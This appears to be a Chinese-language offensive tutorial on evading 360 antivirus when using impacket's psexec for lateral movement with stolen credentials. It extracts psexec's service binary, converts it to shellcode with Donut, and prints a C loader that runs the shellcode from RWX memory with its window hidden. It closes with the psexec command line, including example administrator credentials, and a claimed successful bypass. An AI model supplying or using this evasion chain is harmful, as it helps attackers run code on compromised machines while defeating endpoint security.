场景

目标机器存在360,并开启了横向渗透防护
已经获得目标机器账户密码或hash

拦截分析

360拦截的是psexec通过admin$共享上传的服务exe文件,绕过的思路就是找到这个exe文件,做好免杀后Bypass。
image.png

Bypass

在impacket中,psexec的服务文件以二进制的方式保存在\impacket-master\impacket\examples\remcomsvc.py文件中,我们将其提取出来进行免杀。
image.png

二进制文件免杀

donut

Donut是一种与位置无关的代码,可以在内存中执行 VBScript、JScript、EXE、DLL 文件和 dotNET 程序集。Donut 创建的模块可以从 HTTP 服务器暂存,也可以直接嵌入到加载程序本身中。该模块可选择使用Chaskey分组密码和 128 位随机生成的密钥进行加密。在文件被加载并在内存中执行后,原始引用被擦除以阻止内存扫描器。

项目地址:https://github.com/TheWover/donut

使用方法:

#-a参数,1代表32位,2代表64位
Donut -a 1 -f server.exe

image.png

将生成的shellcode文件用shellcode加载器进行免杀加载。

    //C语言执行shellcode的五种方法  
      
    #include <windows.h>  
    #include <stdio.h>  
      
    //data段可读写  
    #pragma comment(linker, "/section:.data,RWE")   
    //不显示窗口  
    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")  
    #pragma comment(linker, "/INCREMENTAL:NO")   
      
      
    unsigned char shellcode[] =  
    "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"  
    "\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"  
    "\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"  
    "\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"  
    "\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"  
    "\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"  
    "\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"  
    "\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"  
    "\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"  
    "\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"  
    "\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"  
    "\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56"  
    "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"  
    "\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42"  
    "\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58"  
    "\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f"  
    "\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89"  
    "\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08";  
      
    typedef void (__stdcall *CODE) ();  
      
      

      
    //第一种方法     
    void RunShellCode_1()  
    {  
      
        PVOID p = NULL;  
        if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)  
            MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK);  
        if (!(memcpy(p, shellcode, sizeof(shellcode))))  
            MessageBoxA(NULL, "写内存失败", "提醒", MB_OK);  
      
        CODE code =(CODE)p;  
      
        code();  
      
    }  
 
      
    void main()  
    {   
        RunShellCode_1();  
    }  

PSEXEC可以使用-file参数自定义服务exe的文件,我们将自己编译好的exe文件放在-file参数中即可。

python3 psexec.py administrator:Admin888@192.168.180.199 -file path

以下是免杀测试:
image.png

image.png

Q.E.D.